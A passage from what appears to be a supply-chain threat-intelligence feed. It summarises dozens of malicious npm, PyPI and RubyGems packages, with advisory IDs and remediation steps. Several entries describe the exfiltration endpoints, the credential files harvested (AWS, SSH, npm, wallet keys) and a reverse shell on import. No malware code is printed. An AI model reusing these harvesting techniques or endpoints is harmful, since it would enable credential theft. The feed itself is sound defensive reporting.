affected and no patched versions available. Per the advisory, any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity. All secrets and keys stored on affected machines should be treated as stolen. Removal of the package does not guarantee removal of all malicious software it may have installed. No source code repository is known for the package. Do: Rotate all secrets, keys, and credentials stored on machines where sw-pluginer was installed, using a clean computer; Remove the package from all projects and lockfiles and block it in dependency policies; Rebuild/reimage affected machines; do not assume removal of the package clears the infection; Audit systems for signs of compromise and unauthorized access using stolen credentials; Check CI/CD environments and dependency caches for the package ### [critical] PyPI typosquat malware: pepestyglo, pliktre, logger-prefix-buffer-lexer, lampouali exfiltrate host data on install https://helix.ml/threat-watch/i/pypi-typosquat-malware-pepestyglo-pliktre-logger-prefix-buffer-lexer-lampouali-exfiltrate-host-data-on-install · Supply chain · no-fix-needed · since 2026-11-17 Four malicious PyPI packages — pepestyglo, pliktre, logger-prefix-buffer-lexer and lampouali — were published to the GitHub Advisory Database on 2026-11-17 as embedded malware (CWE-506), each with only version 1.0.0 and no patched versions. pepestyglo and logger-prefix-buffer-lexer exfiltrate basic host information (IP, username) on install or import and override the setup.py install command to execute malicious code during installation (GENERIC-standard-pypi-install-pentest campaign). pliktre and lampouali use fake HTTP-downloaded dependencies to track downloads, tied to the 2026-10-vacsdk campaign via dependency confusion. All are categorized PROBABLY_PENTEST with limited risk. Anyone who installed or imported these packages is affected; the only mitigation is removal, as no fixed versions exist. Do: Search environments and lockfiles for pepestyglo, pliktre, logger-prefix-buffer-lexer and lampouali and remove them; If installed, treat hosts as compromised: rotate credentials accessible from those machines and review outbound connections; Block these package names in PyPI mirrors, proxies and CI dependency resolution; Audit setup.py-driven installs; prefer pinned, hashed dependencies and --no-build-isolation reviews; Monitor for dependency-confusion patterns where internal package names resolve to public PyPI packages ### [critical] Malicious npm packages: @utilityforge/dynamic-interface-kit, flexible-layout-tools, rel-zone — full system compromise on install https://helix.ml/threat-watch/i/malicious-npm-packages-utilityforge-dynamic-interface-kit-flexible-layout-tools-rel-zone-full-system-compromise-on-insta · Supply chain · no-fix-needed · since 2026-11-17 GitHub's Advisory Database published three malware advisories on 2026-11-17 covering npm packages @utilityforge/dynamic-interface-kit (GHSA-6jwf-qr9f-vxp2), flexible-layout-tools (GHSA-cvvv-42qm-w4qp) and rel-zone (GHSA-6545-fg56-534w). All versions are affected (rel-zone specifically 9.0.0) and no patched versions exist. The packages contain embedded malicious code (CWE-506); any machine where they are installed or running must be considered fully compromised, with attackers potentially gaining full control and access to secrets and keys. No source code is known for the packages. Removal of the package alone is not guaranteed to remove all malicious software. Affected users should rotate all secrets from a clean machine and rebuild compromised systems. Do: Immediately remove the packages from all projects and lockfiles and block them in dependency policy; Treat all machines where they were installed or run as fully compromised: rotate all secrets, keys, and credentials from a clean computer; Rebuild/reimage affected machines and CI environments; audit for persistence mechanisms; Audit logs and network traffic for signs of exfiltration or attacker access; Review dependency trees for typosquatting or related malicious packages before reinstalling ### [critical] vamp-mcp (npm) — malicious package compromises machines that install it (no CVE) https://helix.ml/threat-watch/i/vamp-mcp-npm-malicious-package-compromises-machines-that-install-it-no-cve · Supply chain · no-fix-needed · since 2026-11-17 GitHub's advisory database published a malware advisory (GHSA-q37r-5xxr-6v4x) for the npm package vamp-mcp, flagging versions 0.2.3, 0.2.4 and 0.2.5 as containing embedded malicious code (CWE-506). The advisory states that any computer with the package installed or running should be considered fully compromised, implying the malware grants an outside entity full control of the host. No patched versions exist and no source code is known, so the only remediation is removal of the package plus rotation of all secrets and keys from a clean machine. Any developer or CI environment that installed vamp-mcp is affected; the advisory was published and reviewed on 2026-11-17. Do: Rotate all secrets, keys, tokens and credentials stored on or accessible from any machine where vamp-mcp was installed, using a different clean computer; Remove vamp-mcp (all versions 0.2.3–0.2.5) from projects, lockfiles and CI caches and block it from being reinstalled; Rebuild affected machines or containers from trusted images; assume full compromise, as removal may not eliminate implanted malware; Audit logs, network egress and running processes for signs of attacker activity since installation; Check dependency trees and CI pipelines for vamp-mcp and pin to safe alternatives ### [critical] Dependency-confusion malware campaign: lgcook & csci-internal npm packages exfiltrate host info via Telegram https://helix.ml/threat-watch/i/dependency-confusion-malware-campaign-lgcook-csci-internal-npm-packages-exfiltrate-host-info-via-telegram · Supply chain · no-fix-needed · since 2026-11-17 Two dependency-confusion style npm packages, lgcook (GHSA-g32j-5xrq-mg65) and csci-internal (GHSA-6q7h-xj7v-46gr), were published on 2026-04-19 with version 99.1.1 designed to shadow internal package names. Their install scripts run an inline node -e payload that collects the package name, username and hostname, resolves the public IP via api.ipify.org, and sends the data to a hardcoded Telegram bot (bot 8236864682, chat 8655055695). The same bot is used by previously catalogued malicious packages pa-marked, pa-marked-internal and chandan-module-test, indicating a single campaign. Both packages were unpublished from npm about 15 minutes after publication; no patched versions exist. Any CI or developer machine that installed them leaked host details to the attacker. Do: Search install logs and lockfiles for lgcook, csci-internal, pa-marked, pa-marked-internal and chandan-module-test at version 99.1.1; If installed, treat the build host as compromised: rotate credentials available to CI/dev environments and rebuild from clean images; Block egress to api.ipify.org and the Telegram bot API from build environments; Enforce internal registry scoping/allowlists so internal package names cannot be resolved from public npm; Enable npm audit/GitHub Advisory alerts and malware scanning in dependency resolution ### [critical] @public-for-cdao/providers npm package: postinstall malware steals shell history, git/npm credentials and SSH keys https://helix.ml/threat-watch/i/public-for-cdao-providers-npm-package-postinstall-malware-steals-shell-history-git-npm-credentials-and-ssh-keys · Supply chain · no-fix-needed · since 2026-11-17 The npm package @public-for-cdao/providers@1.0.1 contained malicious code: a postinstall hook ran recon.js, which read the last 100 lines of ~/.bash_history and ~/.zsh_history, ~/.gitconfig, ~/.npmrc and the first line of ~/.ssh/id_rsa, and exfiltrated the results to a hardcoded endpoint, https://cdao-c2.aduljune.workers.dev/c2/exfil. Behaviour was observed in a sandboxed install (file reads, shell commands, C2 connection). It is part of the same dependency-confusion credential-theft campaign as other packages in the @public-for-cdao scope already in OSV, using a different exfiltration endpoint. The package has been removed from npm and there are no patched versions; anyone who installed it should assume developer credentials were stolen. Do: Audit lockfiles and CI logs for any install of @public-for-cdao/providers or other @public-for-cdao packages; treat any hit as a credential compromise; Rotate npm tokens, SSH keys, and credentials found in shell histories, ~/.gitconfig and ~/.npmrc on affected machines; Rebuild affected machines/CI runners from clean images; Block cdao-c2.aduljune.workers.dev at egress and review proxy logs for connections to it; Enable dependency-confusion protections (scope ownership, allowlists, --ignore-scripts) ### [critical] Dependency-confusion canary: signup-lib (npm) — postinstall hook exfiltrates hostname to h1.cx on install (no CVE) https://helix.ml/threat-watch/i/dependency-confusion-canary-signup-lib-npm-postinstall-hook-exfiltrates-hostname-to-h1-cx-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-17 signup-lib@99.99.99 is a dependency-confusion package on npm that squats the unscoped name of an internal dependency, whose existence it learned from a published JavaScript source map, and uses version 99.99.99 to override the private package. A postinstall hook runs node postinstall.js during npm install, printing a notice to stderr and sending the machine's hostname via HTTPS GET to https://h1.cx/log?depconf=. The package claims to be an authorized security-research canary, but it reports from any machine that installs it without the installer's consent. GitHub advisory GHSA-r87g-8hwq-8mxh (CWE-506, critical) lists affected version 99.99.99 with no patched version; any developer or CI environment resolving this name is affected. Remediation is to remove/block the package and scope internal dependencies. Do: Audit installed dependencies and lockfiles for signup-lib@99.99.99 and remove it; treat any machine or CI runner that installed it as having leaked its hostname; Check logs/proxy history for requests to h1.cx/log?depconf= to identify affected hosts; Configure npm scope/registry overrides and .npmrc to prevent public resolution of internal package names; Avoid publishing source maps or internal dependency names to public artifacts; use scoped package names for private code; Pin private dependencies with exact versions and enable registry allow-lists in CI ### [critical] mexc-utils-helper (npm): malicious postinstall steals AWS/GCloud/Docker/Git credentials and beacons to 69.42.222.23 https://helix.ml/threat-watch/i/mexc-utils-helper-npm-malicious-postinstall-steals-aws-gcloud-docker-git-credentials-and-beacons-to-69-42-222-23 · Supply chain · no-fix-needed · since 2026-11-17 OpenSSF reported npm package mexc-utils-helper as malicious code (GHSA-c9cq-9rpq-6v74, CWE-506). A postinstall hook runs node postinstall.js, which reads cloud and developer credentials (~/.aws/config, ~/.aws/credentials, ~/.config/gcloud/application_default_credentials.json, ~/.docker/config.json, ~/.git-credentials), performs host reconnaissance (ps aux, whoami, id, uname -a) and connects to bare IP 69.42.222.23. The name targets users of the MEXC crypto exchange; the package has no repository or README. Version 1.0.0 was published 2026-03-24 and unpublished from npm on 2026-03-27; no patched version exists. Anyone who installed it should assume credentials were exfiltrated. Do: Check whether mexc-utils-helper@1.0.0 was installed in any environment; remove it and purge node_modules/lockfile entries; Rotate all AWS, Google Cloud, Docker Hub and Git credentials on affected machines, including application_default_credentials; Review cloud audit logs and network logs for connections to 69.42.222.23; Rebuild affected hosts/CI runners from trusted images; Block 69.42.222.23 at egress and scan for the postinstall.js artifact ### [critical] approve-audit npm package: postinstall script steals crypto wallet keys and secrets via ntfy.sh exfiltration https://helix.ml/threat-watch/i/approve-audit-npm-package-postinstall-script-steals-crypto-wallet-keys-and-secrets-via-ntfy-sh-exfiltration · Supply chain · no-fix-needed · since 2026-11-17 The npm package approve-audit@1.0.0, posing as a CLI tool for auditing and revoking stale ERC-20 token approvals, contains malicious code flagged by GitHub Advisory Database (GHSA-c2r9-jmw4-552r) and OpenSSF. Its postinstall script runs node scripts/setup.js on npm install, scanning .env files and Hardhat, Foundry and Truffle configuration files in home and project directories for private keys, mnemonics, seeds, secrets, API keys and webhooks, and enumerating Foundry/Ethereum keystore files, Phantom wallet files and Chrome extension storage. The harvested data is gzipped with hostname, username and OS version, base64-encoded and POSTed to the ntfy.sh topic ops-bb75bc610b69. Any developer installing version 1.0.0 is affected; there is no patched version, so the package must be removed and exposed credentials rotated. Do: Remove approve-audit from all projects and lockfiles immediately; Rotate any private keys, mnemonics, seeds, API keys or secrets stored in .env or Hardhat/Foundry/Truffle configs on affected machines; Move or re-generate assets in Ethereum/Foundry keystores, Phantom wallets and browser extension wallets that may have been exposed; Check network/proxy logs for POSTs to https://ntfy.sh/ops-bb75bc610b69 to confirm exfiltration; Audit machines for further compromise and block ntfy.sh exfiltration endpoints ### [critical] serverless-env-helpers / serverless-env-utils (npm): credential-harvesting malware exfiltrated AWS, Docker and npm secrets via postinstall hook https://helix.ml/threat-watch/i/serverless-env-helpers-serverless-env-utils-npm-credential-harvesting-malware-exfiltrated-aws-docker-and-npm-secrets-via · Supply chain · no-fix-needed · since 2026-11-17 Two typosquat-style npm packages, serverless-env-helpers (8 versions, published 2026-04-03) and serverless-env-utils (3 versions, published 2026-05-08/09), contained credential-stealing malware linked to the same actor and infrastructure. A postinstall hook ran node postinstall.js, which read ~/.aws/config, ~/.aws/credentials, ~/.docker/config.json and ~/.netrc, queried the ECS task metadata endpoint (169.254.170.2/v2/metadata), requested an EC2 IMDSv2 token, and ran npm config list --json, exfiltrating harvested AWS, Docker and npm credentials and cloud metadata to probe-worker.hugebigballs87.workers.dev. All detonated versions contacted the endpoint. npm unpublished the packages on 2026-04-05 and 2026-05-09 respectively; no patched versions exist. Anyone who installed these packages should assume credentials were stolen. Do: Check lockfiles and install history for serverless-env-helpers or serverless-env-utils; if present, treat all secrets on the affected machine as compromised; Rotate AWS credentials, Docker registry tokens, npm tokens and any credentials found in ~/.netrc or npm config; Review AWS CloudTrail and metadata-endpoint access logs for signs of abuse; audit for persistence; Rebuild affected machines/CI runners from clean images and remove the packages; Block probe-worker.hugebigballs87.workers.dev at egress ### [critical] @brandkit/theme npm postinstall steals AI API keys via downloaded Go binary https://helix.ml/threat-watch/i/brandkit-theme-npm-postinstall-steals-ai-api-keys-via-downloaded-go-binary · Supply chain · no-fix-needed · since 2026-11-17 The npm package @brandkit/theme, posing as a design-token library, shipped a postinstall script (scripts/setup.js) in versions 2.4.1 and 2.42 that downloaded a gzipped Go binary from a gitea.com release, executed it with no hash or signature verification. The binary (leaker.go) XOR-decodes its config with key "BrKt2026", collects hostname, time and the ANTHROPIC_API_KEY, GEMINI_API_KEY and AI_GATEWAY_KEY environment variables, and POSTs them to a public requestcatcher.com inbox. Publisher account gmeen uploaded the versions on 2026-11-15; npm removed the package by 2026-11-16 02:00 UTC, though the binary remained downloadable. Anyone who installed 2.4.1 or 2.4.2 must treat those AI keys as compromised. No patched versions exist; the package is removed. Do: If @brandkit/theme 2.4.1 or 2.4.2 was installed, immediately rotate ANTHROPIC_API_KEY, GEMINI_API_KEY and AI_GATEWAY_KEY exposed in the installing environment; Audit CI/CD and developer machines that ran the install for the downloaded brandkit runtime binary and any residual artifacts; Check requestcatcher inbox access logs/exposure assumptions and review for unauthorized use of the exfiltrated keys; Remove the package from lockfiles and block it in dependency firewalls; scan repositories for its dependency ### [critical] Malicious npm package jaysift 1.5.0 compromises installer machines (GHSA-pv6m-32xh-4r4w) https://helix.ml/threat-watch/i/malicious-npm-package-jaysift-1-5-0-compromises-installer-machines-ghsa-pv6m-32xh-4r4w · Supply chain · no-fix-needed · since 2026-11-17 GitHub's advisory database published a malware advisory (GHSA-pv6m-32xh-4r4w) for the npm package jaysift, flagging version 1.5.0 as containing embedded malicious code (CWE-506). Any machine where the package was installed or executed should be considered fully compromised, with attacker access to secrets and keys. No patched version exists; the advisory recommends removal of the package, though removal cannot guarantee the malicious software is eradicated. Users of jaysift 1.5.0 should treat credentials on affected machines as stolen and rotate them from a clean machine. Do: Rotate all secrets, keys, and credentials stored on machines where jaysift 1.5.0 was installed, using a clean computer; Remove jaysift 1.5.0 from all projects and lockfiles and audit for persistence mechanisms; Rebuild or thoroughly clean affected machines; do not assume removal of the package removes the malware; Review CI/CD environments and caches that may have installed the package; Block the package in dependency policies and audit dependency trees for other compromised packages ### [critical] Malicious npm packages gugodapi, gogodapiapp, gugodapistram, apigugod — full host compromise https://helix.ml/threat-watch/i/malicious-npm-packages-gugodapi-gogodapiapp-gugodapistram-apigugod-full-host-compromise · Supply chain · no-fix-needed · since 2026-11-17 On 2026-11-17 GitHub published four malware advisories (GHSA-c372-wcrj-xqv3, GHSA-4q9g-pqm4-x4v7, GHSA-xpgg-qvpw-c4wp, GHSA-8jqw-fp72-48fv) covering npm packages gugodapi, gogodapiapp, gugodapistram and apigugod. All versions (>= 0) are flagged as embedded malicious code (CWE-506) with no patched versions and no known source code. GitHub's guidance states any computer with these packages installed or running should be considered fully compromised, implying attacker control sufficient to steal secrets and deploy additional malware. Download counts are low (1–15/month), limiting reach, but any installation is treated as active compromise. Removal of the packages alone is not guaranteed to remove the malicious software; there is no fix, only removal and remediation. Do: Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines immediately, using a clean computer; Remove the packages gugodapi, gogodapiapp, gugodapistram and apigugod from all projects, lockfiles and CI caches; Rebuild or wipe affected machines and audit for persistence, as removal may not eliminate implanted malware; Audit logs and network traffic for signs of exfiltration or attacker access; Block these package names in internal registries and dependency scanning ### [critical] babyyodaa (npm): malicious package compromises any machine where it is installed; no safe version exists https://helix.ml/threat-watch/i/babyyodaa-npm-malicious-package-compromises-any-machine-where-it-is-installed-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-17 GitHub published advisory GHSA-pph8-xw8c-ffc5 on 2026-11-17 flagging the npm package babyyodaa as malware (CWE-506, embedded malicious code). All versions (>= 0) are affected and no patched version exists. GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity, and that removing the package does not guarantee removal of all malicious software it installed. The package sees roughly 3 downloads per month and has 3 GitHub stars, so reach is limited, but any installation is treated as an active compromise. There is no fix; remediation is incident response, not upgrading. Do: Treat any machine where babyyodaa was installed or executed as fully compromised; isolate and rebuild from trusted media; Rotate all secrets, keys, tokens and credentials stored on affected machines, from a clean computer; Hunt for persistence and follow-on malware on affected hosts; removal of the package alone is insufficient; Block/remove babyyodaa from registries, lockfiles and CI caches; audit dependencies for it ### [critical] Malicious npm packages @ifasn/mmdd-doc-mcp and @ifasn/ms-doc-mcp fully compromise hosts https://helix.ml/threat-watch/i/malicious-npm-packages-ifasn-mmdd-doc-mcp-and-ifasn-ms-doc-mcp-fully-compromise-hosts · Supply chain · no-fix-needed · since 2026-11-17 GitHub added malware advisories (GHSA-vm4g-cpqx-24px, GHSA-3f74-wcv7-jw8f) for two npm packages, @ifasn/mmdd-doc-mcp and @ifasn/ms-doc-mcp, flagged as embedded malicious code (CWE-506) with all versions (>=0) affected and no patched versions. The advisories state any computer with the packages installed or running should be considered fully compromised, implying attacker control of the host and exposure of stored secrets and keys. The packages appear to be malicious MCP (Model Context Protocol) doc-server typosquat-style uploads; no legitimate source code is known. Anyone who installed either package should treat credentials on the affected machine as stolen. There is no fix — removal is required, and remediation must include credential rotation and host rebuild, since removing the package may not remove all malicious software. Do: Immediately remove @ifasn/mmdd-doc-mcp and @ifasn/ms-doc-mcp from all machines and CI environments; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Rebuild or thoroughly reimage affected hosts; removal of the package does not guarantee removal of malicious software; Audit npm dependency trees and lockfiles for the packages and block them in registries/proxies; Review access logs and monitor for suspicious activity from affected systems ### [critical] Malicious npm packages jito-bundle, jito-bundle-tip, jito-bundle-service, jito-bundle-tip-service — full system compromise https://helix.ml/threat-watch/i/malicious-npm-packages-jito-bundle-jito-bundle-tip-jito-bundle-service-jito-bundle-tip-service-full-system-compromise · Supply chain · no-fix-needed · since 2026-11-17 On 2026-11-17 GitHub published four critical malware advisories for npm packages jito-bundle, jito-bundle-tip, jito-bundle-service and jito-bundle-tip-service, flagged as embedded malicious code (CWE-506). Every published version (>= 0) is affected and no patched versions exist, so the packages should be treated as malicious from inception — likely typosquatting the legitimate Jito bundling tooling for Solana. GitHub's guidance states any machine with these packages installed or running must be considered fully compromised, with attacker access to secrets and keys. Download counts are very low (2-6 per month), limiting reach, but anyone who installed them is exposed. Removal of the package alone is not guaranteed to remove all malicious software. No fix will be issued; remediation is removal plus credential rotation and system rebuild. Do: Rotate all secrets, keys, wallets and credentials stored on any machine where these packages were installed, using a clean machine; Remove the packages and rebuild/reimage affected systems, as removal may not eliminate all malicious software; Audit systems for signs of compromise and any persistence mechanisms; Check dependency trees and lockfiles for these package names and block them in CI/CD and registries ### [critical] Malicious npm package @finxsecdemo/utils — full system compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-finxsecdemo-utils-full-system-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-17 GitHub published a malware advisory (GHSA-wq4w-c9cq-7qj5) for the npm package @finxsecdemo/utils, flagged as embedded malicious code (CWE-506). All versions (>= 0) are affected and no patched version exists. Any machine with the package installed or running should be considered fully compromised, with attacker control implying potential theft of secrets, keys, and credentials and persistence beyond simple package removal. The package sees roughly 468 downloads per month, so exposure is limited but real. There is no fix; remediation is removal of the package plus rotation of all secrets from a clean machine and forensic checking for residual malicious software. Do: Immediately remove @finxsecdemo/utils from all projects and machines; Rotate all secrets, keys, and credentials stored on affected machines, using a different clean computer; Rebuild affected machines or perform thorough forensics, as removal may not eliminate attacker persistence; Audit dependency lockfiles and CI caches for the package and block it in future installs ### [critical] Malicious npm package sendy-kaitoz11 — full system compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-sendy-kaitoz11-full-system-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-17 GitHub's malware advisory database published GHSA-4p56-w4hr-hjgq on 2026-11-17 flagging the npm package sendy-kaitoz11 as embedded malicious code (CWE-506). Any machine with the package installed or running should be considered fully compromised, with control potentially handed to an outside actor; all secrets and keys on affected machines must be rotated. All versions (>= 0) are affected and no patched version exists — the package must simply be removed, though removal cannot guarantee the malware is eradicated. Reach appears limited (~2 downloads/month), but any installation is treated as a compromise. There is no fix; remediation is removal plus incident response on affected hosts. Do: Remove sendy-kaitoz11 from all machines and CI/build environments; Rotate all secrets, keys, and credentials stored on any machine where it was installed, from a clean machine; Rebuild/reimage affected systems; hunt for persistence and follow-on malware; Audit dependency lockfiles and npm install history for exposure; Block the package in internal registries and dependency scanning ### [critical] solana-keypair (RubyGems): malicious gem exfiltrates Solana/Ethereum keys and credentials on gem install (no CVE) https://helix.ml/threat-watch/i/solana-keypair-rubygems-malicious-gem-exfiltrates-solana-ethereum-keys-and-credentials-on-gem-install-no-cve · Supply chain · no-fix-needed · since 2026-11-17 The RubyGems package solana-keypair v0.1.0 is malicious typosquat-style tooling resembling legitimate Solana libraries. Its lib/ is a stub; the declared native extension's extconf.rb is not a build script but an infostealer: on gem install it reads Solana keypair files (~/.config/solana/id.json and sibling *.json), ~/.npmrc, ~/.netrc, ~/.git-credentials, Ethereum keystore files, .env files walked up from the working directory, and crypto-related environment variables (PRIVATE_KEY, MNEMONIC, SECRET_KEY, WALLET_PRIVATE_KEY, SOLANA_PRIVATE_KEY, ETH_PRIVATE_KEY, NPM_TOKEN). Data plus host reconnaissance (hostname, login, uid, cwd, timestamp) is base64-encoded and POSTed to a hardcoded webhook.site collector. It then writes a no-op Makefile so install reports success. Anyone who installed the gem has likely had keys and credentials exfiltrated. No patched version exists; the gem should be removed and treated as compromised. Do: Check whether solana-keypair 0.1.0 was installed anywhere (Gemfile.lock, CI caches, developer machines) and uninstall it; Rotate all Solana keypairs, Ethereum keys, npm tokens, and any credentials in .npmrc/.netrc/.git-credentials/.env files on affected hosts; Purge CI/CD caches and rebuild affected environments from clean images; Audit webhook.site and egress logs for POSTs to the collector to confirm exfiltration scope; Block webhook.site collector URLs and scrutinize gems with native extensions whose extconf.rb performs no real build ### [critical] Baileys WhatsApp-library typosquats flagged as malware: 25 npm packages, no safe version (no CVE) https://helix.ml/threat-watch/i/whatsapp-baileys-typosquat-malware-wave-finzzcloud-baileys-wailib-ishumdz-bail-shadowx-baileys-malicious-npm-packages-gr · Supply chain · no-fix-needed · since 2026-11-16 On 2026-11-16 GitHub published 25 malware advisories (CWE-506, rated critical, all versions affected, no patched release) for npm packages that borrow the name of the Baileys WhatsApp library, including ishumdz-bail, @ubedsockets/baileys, @xzvbailss/baileys and wailib. The advisory text is identical across all 25 and says any host running a package should be treated as fully compromised; that is generic wording. The only vendor analysis we fetched (OX Security, 2026-09-28) covers a related PhantomSub campaign of about 101 Baileys forks, some sharing these names, whose code makes the installer WhatsApp account follow and mute attacker-chosen channels, with no exfiltration or credential theft reported. We found no analysis of these 25 packages that confirms host or credential theft. The registry version history shows these packages were on npm for months before the advisories (earliest listed publish 2026-04-15), and the advisories do not say which versions are malicious. npm now serves 24 of the 25 as security-holding placeholders; @luckylillia/plugin-nt-protocol shows only a staging placeholder. Remove the packages, check install logs, lockfiles and CI runners that resolved them, pin the upstream @whiskeysockets/baileys, and review any WhatsApp linked device that used a listed package. Do: Remove every listed package from dependencies, lockfiles and caches, and check install logs and CI runners that resolved them; Pin the upstream Baileys library (@whiskeysockets/baileys) from its official source instead of any listed fork; Unlink any WhatsApp linked device or session created with a listed package, and check the account for channels it followed or muted without consent; If a listed package ran on a host that holds secrets, rotate those secrets from a clean machine; the advisory rebuild advice is generic and should follow host evidence; Search egress and DNS logs for api.fruatre.my.id, api.vreden.my.id, api.siputzx.my.id and api.ubed.my.id, and act on any hit ### [critical] Malware in mem0-mcp-server npm package — full host compromise; rotate all secrets https://helix.ml/threat-watch/i/malware-in-mem0-mcp-server-npm-package-full-host-compromise-rotate-all-secrets · Supply chain · no-fix-needed · since 2026-11-16 GitHub's advisory database published GHSA-9hvg-j8mj-55xr on 2026-11-16, mirrored in OSV as MAL-2026-20011, classifying the npm package mem0-mcp-server as embedded malicious code (CWE-506). The advisory covers every version (>= 0) and no fixed version exists. It says any machine that installed or ran the package should be treated as fully compromised, that every secret on it should be rotated from a different computer, and that removing the package may not remove what it installed. The npm registry now serves only a security-holding placeholder (0.0.1-security, published 2026-11-16) in place of the original package, so the original publisher and source repository are no longer visible there. The registry's release index still lists versions 1.0.0 to 2.0.0 published between 2026-03-14 and 2026-03-25. The npm download API reports 426 downloads in the 30 days to 2026-11-16, 2,187 since 2026-03-01, and 324 on 2026-11-16 itself. Mem0's own MCP server of the same name is a Python package on PyPI, archived upstream; it is not this npm package. Do: Treat any machine with mem0-mcp-server installed or run as fully compromised; isolate it; Rotate all secrets, keys and credentials stored on or accessible from affected machines, from a clean computer; Remove the package and rebuild/reimage affected systems rather than trusting cleanup; Audit systems and CI for installation of mem0-mcp-server and review logs for attacker activity; Block/flag mem0-mcp-server in internal registries and dependency scanning ### [critical] quickwinston (npm): malicious logging package compromises any machine where it is installed https://helix.ml/threat-watch/i/quickwinston-npm-malicious-logging-package-compromises-any-machine-where-it-is-installed · Supply chain · no-fix-needed · since 2026-11-16 GitHub's malware advisory database published GHSA-57c9-vqf7-cxmv on 2026-11-16 flagging the npm package quickwinston as embedded malicious code (CWE-506). All versions (>= 0) are affected and no patched version exists, so the package should not be used at all. The advisory states that any computer with the package installed or running should be considered fully compromised, implying attackers may have obtained full control, and that secrets and keys on affected machines must be rotated from a different computer. The package sees roughly 48 downloads per month, limiting reach, but the advisory notes no known source code repository. Removal of the package does not guarantee removal of any malicious software it may have installed. Do: Remove quickwinston from all projects and lockfiles immediately; Treat every machine where it was installed or run as fully compromised; rotate all secrets, keys, and credentials from a clean computer; Reimage or rebuild affected machines rather than trusting cleanup; Audit logs and network activity for signs of exfiltration or persistence; Block quickwinston in internal registries and CI dependency checks ### [critical] @jisan901 npm packages (fs-browser, teamfocus) — malicious packages fully compromise installed machines; no CVE https://helix.ml/threat-watch/i/jisan901-npm-packages-fs-browser-teamfocus-malicious-packages-fully-compromise-installed-machines-no-cve · Supply chain · no-fix-needed · since 2026-11-16 GitHub's advisory database published malware advisories on 2026-11-16 for two npm packages from the same publisher, @jisan901/fs-browser (GHSA-r747-fv5r-923c) and @jisan901/teamfocus (GHSA-f94p-qwjw-q564). Both are flagged CWE-506 embedded malicious code, affect every version (>= 0), and have no patched versions. GitHub warns that any computer with these packages installed or running should be considered fully compromised, with full control potentially handed to an outside entity, and that removal of the package does not guarantee removal of resulting malicious software. Any developer or CI environment that installed either package is affected; secrets and keys on those machines must be treated as stolen. Do: Rotate all secrets, keys, and credentials stored on or accessible from any machine that installed either package, using a clean computer; Remove @jisan901/fs-browser and @jisan901/teamfocus from all projects, lockfiles, and CI caches; Rebuild or wipe affected machines and CI runners; do not assume uninstall removed the malware; Audit npm dependency trees and lockfiles for other packages from the @jisan901 scope; Block the packages and publisher scope in registry proxies and CI dependency checks ### [critical] my-poc-sandbox (PyPI) — malicious package starts reverse shell on import, giving attackers full command execution https://helix.ml/threat-watch/i/my-poc-sandbox-pypi-malicious-package-starts-reverse-shell-on-import-giving-attackers-full-command-execution · Supply chain · no-fix-needed · since 2026-11-16 The PyPI package my-poc-sandbox has been identified as malware and removed from the GitHub Advisory Database entry GHSA-3rjm-5865-523c, published 2026-11-16. Versions 1.0.0, 1.0.1 and 1.0.2 contain code that, when the package is imported, attempts to start a reverse shell, allowing an attacker to execute arbitrary commands on the victim's machine. The advisory classifies it as MALICIOUS under campaign 2026-11-my-poc-sandbox, with CWE-506 (embedded malicious code). No patched versions exist; the package should not be used at all. Anyone who installed any affected version is potentially compromised. Detection was credited to kam193 via the OpenSSF malicious-packages project. Do: Immediately uninstall my-poc-sandbox from all environments; do not upgrade — no safe version exists; Audit systems where any version (1.0.0–1.0.2) was installed or imported for signs of reverse-shell activity and unauthorized command execution; Rotate credentials, keys and tokens accessible from affected machines; Check pip download logs and CI caches for the package and block it in dependency firewalls/allow-lists; Hunt for outbound connections initiated around import times and rebuild affected hosts from clean images ### [critical] npm malware: cantarel and konsistent-provider packages fully compromise installed hosts https://helix.ml/threat-watch/i/npm-malware-cantarel-and-konsistent-provider-packages-fully-compromise-installed-hosts · Supply chain · no-fix-needed · since 2026-11-16 GitHub published malware advisories on 2026-11-16 for two npm packages, cantarel (GHSA-8f4v-5fv4-7mfg, ~966 downloads/month) and konsistent-provider (GHSA-q4rg-r9c6-4483, ~38 downloads/month). Both are flagged CWE-506 embedded malicious code, affect all versions (>= 0), and have no patched versions. GitHub's standard malware guidance states any computer with the packages installed or running should be considered fully compromised, with attacker access to secrets and keys; removal of the package does not guarantee removal of all malicious software. Any developer or CI environment that installed either package is affected. No fix exists; remediation is removal plus host rebuild and credential rotation. Do: Remove cantarel and konsistent-provider from all projects, lockfiles and CI caches immediately; Rotate all secrets, keys, tokens and credentials stored on any machine that installed or ran the packages, using a clean machine; Rebuild or wipe affected hosts and CI runners; do not assume package removal removed the malware; Audit dependency trees and lockfiles for the packages and block them in registry/proxy allowlists; Review logs and network egress for signs of exfiltration or persistence ### [critical] npm malware wave: @nerxa/socketon, wanzy, mikuhost-agent, writecanvas — malicious packages fully compromise installed machines https://helix.ml/threat-watch/i/npm-malware-wave-nerxa-socketon-wanzy-mikuhost-agent-writecanvas-malicious-packages-fully-compromise-installed-machines · Supply chain · no-fix-needed · since 2026-11-16 On 2026-11-16 GitHub published four malware advisories (GHSA-5jr8-43jg-5544, GHSA-g227-qwxx-j7gv, GHSA-x79p-hxf4-x2gm, GHSA-hv4x-8vcp-h343) covering npm packages @nerxa/socketon, wanzy, mikuhost-agent and writecanvas. All versions (>= 0) are affected, no patched versions exist, and each is classified CWE-506 Embedded Malicious Code at critical severity. GitHub's standard malware wording states any computer with the package installed or running should be considered fully compromised, implying secret and key theft with possible persistent outside access. @nerxa/socketon shows 479 downloads/month and writecanvas 27 downloads/month; download counts for wanzy and mikuhost-agent are not stated. Removal of the packages alone is not guaranteed to eliminate the malicious software. No CVEs were assigned. Do: Rotate all secrets, keys, tokens and credentials stored on or accessible from any machine where these packages were installed, using a clean machine; Remove the packages from all projects and lockfiles, then rebuild/reinstall dependencies from trusted sources; Treat affected machines as compromised: image/rebuild them and audit for persistence mechanisms; Review logs and network traffic for signs of exfiltration or attacker access; Block these package names in internal registries and CI 